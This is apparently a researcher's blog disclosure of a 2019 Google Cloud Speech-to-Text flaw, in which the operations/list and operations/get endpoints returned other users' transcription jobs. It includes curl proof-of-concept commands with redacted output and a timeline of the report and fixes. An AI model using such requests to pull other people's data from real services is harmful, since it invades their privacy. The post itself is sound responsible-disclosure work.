Information Disclosure Vulnerability in the Google Cloud Speech-to-Text API

Abstract

A vulnerability was discovered in the Google Cloud Speech-to-Text API that allowed a user to read transcription results belonging to a different, unrelated user. This vulnerability could be exploited with a simple “curl” command.

Background

Google’s Cloud Speech-to-Text API offers several different modes of operation, including an asynchronous mode designed to handle long-form transcription jobs. A typical use for this mode is transcribing an audio podcast to enable searching it for keywords.

To perform transcription in this mode, the user first authenticates to Google Cloud and submits the transcription job using the REST endpoint “speech:longrunningrecognize”. This returns an opaque ID for the job, in the form of a short string.

After a job has been submitted, the user can check its status by sending the job ID to the “operations/get” endpoint, which returns metadata about the job. After the job finishes, this same endpoint also returns the complete transcription result, including full text, confidence values, timestamps, etc.

The Speech-to-Text API also offers an “operations/list” endpoint, which returns a list of ongoing and completed transcription job IDs.

Vulnerability

While testing the Speech-to-Text API, I discovered that querying the “operations/list” endpoint with no parameters would return transcription job IDs belonging to jobs I did not own. Furthermore, querying any of these IDs using the “operations/get” endpoint would return the results of these jobs, including full-text transcriptions.

Below is an example “curl” session demonstrating the issue. Job IDs have been randomized and transcription data redacted.

Query the “operations/list” endpoint:

curl -H "Authorization: Bearer "$(gcloud auth application-default print-access-token) \
     -H "Content-Type: application/json; charset=utf-8" \
"https://speech.googleapis.com/v1/operations"

Returns:

{
  "operations": [
    {
      "name": "5201534545415957057"
    },
    {
      "name": "2479283670382910446"
    },
    ...
}

None of these operation IDs correspond to jobs submitted by the user making this request, or to any other user in the same Google Cloud customer account.

Query the “operations/get” endpoint for one of these IDs:

curl -H "Authorization: Bearer "$(gcloud auth application-default print-access-token) \
     -H "Content-Type: application/json; charset=utf-8" \
     "https://speech.googleapis.com/v1/operations/5201534545415957057"

Returns:

{
  "name": "5201534545415957057",
  "metadata": {
    "@type": "type.googleapis.com/google.cloud.speech.v1.LongRunningRecognizeMetadata",
    "progressPercent": 100,
    "startTime": "2019-01-01T00:00:00.000000Z",
    "lastUpdateTime": "2019-01-01T00:00:00.000000Z"
  },
  "done": true,
  "response": {
    "@type": "type.googleapis.com/google.cloud.speech.v1.LongRunningRecognizeResponse",
    "results": [
      {
        "alternatives": [
          {
            "transcript": "*** FULL TEXT HERE ***",
            "confidence": 0.96096134,
          }
        ]
      },
    ]
  }
}

The portion marked “FULL TEXT HERE” represents full-text transcription data that did not belong to the user making this request.

I did not save these transcription results because I was not sure who owned this data, and it seemed potentially sensitive. For example, one transcription I glanced at was a discussion of financial matters for a business.

Analysis

It was not clear whether these unrecognized transcription results were some kind of Google test data, or actual jobs submitted by other customers.

One possible explanation is that these jobs were Google-provided sample data, perhaps belonging to a not-yet-released tutorial to introduce developers to the Speech-to-Text API.

However, I feared that they might have been actual transcription results belonging to an unrelated Google Cloud customer. Given the potential sensitivity of this issue, I thought it would be prudent to report it as a possible security vulnerability.

Disclosure & Resolution Timeline

On April 19, 2019, I disclosed my findings to Google via the security bug reporting tool.

The issue was assigned the following tracker URL: https://issuetracker.google.com/issues/130907659

On April 24, 2019, Google’s Security Team triaged this report and forwarded it to the VRP.

On October 12, 2019, Google reported that all bugs associated with this report had been fixed.

On January 2, 2020, following another round of testing which still appeared to show unintended information disclosure, Google reported that some fixes had been inadvertently reverted, and were now re-applied.

Leave a Reply

Your email address will not be published. Required fields are marked *